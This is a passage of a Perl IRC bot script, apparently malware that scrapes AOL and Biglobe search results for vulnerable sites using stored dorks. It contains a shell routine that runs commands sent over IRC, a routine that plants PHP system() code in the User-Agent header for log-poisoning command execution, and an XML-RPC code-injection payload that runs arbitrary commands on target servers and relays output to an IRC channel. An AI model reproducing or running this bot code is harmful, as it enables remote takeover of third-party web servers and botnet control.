		my $search = ("http://search.aol.com/aol/search?q=".uri_escape($key)."&page=".$b);
		my $res = &search_engine_query($search);
		while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
			my $link = $1;
			if ($link !~ /aol\.com/){
				my @grep = &links($link);
				push(@list,@grep);
			}
		}
	}
	return @list;
}

sub biglobe {
  my $key = $_[0];
  my @list;
  for ($b=1; $b<=500; $b+=10) {
    $num += $num;
    my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=".$num."&q=".uri_escape($key)."&lr=all";
    my $res = &search_engine_query($search);
    while ( $res =~ m/<a href=\"http:\/\/(.+?)\"/g ) {
	    my $link = $1;
        if ($link !~ /biglobe/){
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

#########################################

sub clean() {
    my @cln = ();
    my %visit = ();
    foreach my $element (@_) {
        $element =~ s/\/+/\//g;
        next if $visit{$element}++;
        push @cln, $element;
    }
    return @cln;
}

sub links() {
    my @list;
    my $link = $_[0];
    my $host = $_[0];
    my $hdir = $_[0];
    $hdir =~ s/(.*)\/[^\/]*$/\1/;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $host .= "/";
    $link .= "/";
    $hdir .= "/";
    $host =~ s/\/\//\//g;
    $hdir =~ s/\/\//\//g;
    $link =~ s/\/\//\//g;
    push(@list,$host,$hdir);
    return @list;
}

sub search_engine_query() {
	my $url = $_[0];
	$url =~ s/http:\/\///;
	my $host = $url;
	my $query = $url;
	my $page  = "";
	$host =~ s/href=\"?http:\/\///;
	$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
	$query =~ s/$host//;
	if ($query eq "") { $query = "/"; }
		eval {
			my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
			my $sget = "GET $query HTTP/1.0\r\n";
			$sget .= "Host: $host\r\n";
			$sget .= "Accept: */*\r\n";
			$sget .= "User-Agent: $uagent\r\n";
			$sget .= "Connetion: Close\r\n\r\n";
			print $sock $sget;
			my @pages = <$sock>;
			$page = "@pages";
			close($sock);
		};
	return $page;
}

#########################################

sub shell() {
    my $path = $_[0];
    my $cmd = $_[1];
    if ($cmd =~ /cd (.*)/) {
        chdir("$1") || &msg("$path","No such file or directory");
        return;
    }
    elsif ($pid = fork) { waitpid($pid, 0); }
    else { if (fork) { exit; } else {
        my @output = `$cmd 2>&1 3>&1`;
        my $c = 0;
        foreach my $output (@output) {
            $c++;
            chop $output;
            &msg("$path","$output");
            if ($c == 5) { $c = 0; sleep 3; }
        }
        exit;
    }}
}

sub isAdmin() {
    my $status = 0;
    my $nick = $_[0];
    if ($nick eq $admin) { $status = 1; }
    return $status;
}

sub msg() {
    return unless $#_ == 1;
    sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
}

sub nick() {
    return unless $#_ == 0;
    sendraw("NICK $_[0]");
}
sub notice() {
    return unless $#_ == 1;
    sendraw("NOTICE $_[0] :$_[1]");
}

sub cmdlfi() {
my $browser = LWP::UserAgent->new;
my $url  = $_[0];
my $cmd  = $_[1];
my $chan = $_[2];
my $hie = "lobex<?system(\"$cmd 2> /dev/stdout\"); ?>byroe";
$browser->agent("$hie");
$browser->timeout(7);
$response = $browser->get( $url );
if ($response->content =~ /lobex(.*)byroe/s) {
&msg("$chan","$lfilogo9 ".$1." ");
} else {
&msg("$chan","$lfilogo4 No Output ");
}
}
 
sub cmdxml() {
my $jed  = $_[0];
my $dwa  = $_[1];
my $chan = $_[2];
my $userAgent = LWP::UserAgent->new(agent => 'perl post');
        $exploit = "<?xml version=\"1.0\"?><methodCall>";
        $exploit .= "<methodName>test.method</methodName>";
        $exploit .= "<params><param><value><name>',''));";
        $exploit .= "echo'bamby';system('".$dwa."');echo'solo';exit;/*</name></value></param></params></methodCall>";
my $response = $userAgent->request(POST $jed,Content_Type => 'text/xml',Content => $exploit);
if ($response->content =~ /bamby(.*)solo/s) {
&msg("$chan","$xmllogo9 $1 ");
} else {
&msg("$chan","$xmllogo4 No Output ");
}
}
 

sub read_dorks() {
	my $dork = uri_escape($_[0]);
	my $file = "dorks.txt";
	my $success = 0;
	open (file,"<$file");
	while (my $dorkx=<file>) {
		chop($dorkx);
		if ($dorkx =~ /$dork/){
		$success = 1;
		}
	}
	close file;
	return $success;
}

sub write_dorks() {
	my $dorks = uri_escape($_[0]);
	my $file = "dorks.txt";
	open (filex,">>$file");
	print filex $dorks."\n";
	close filex;
}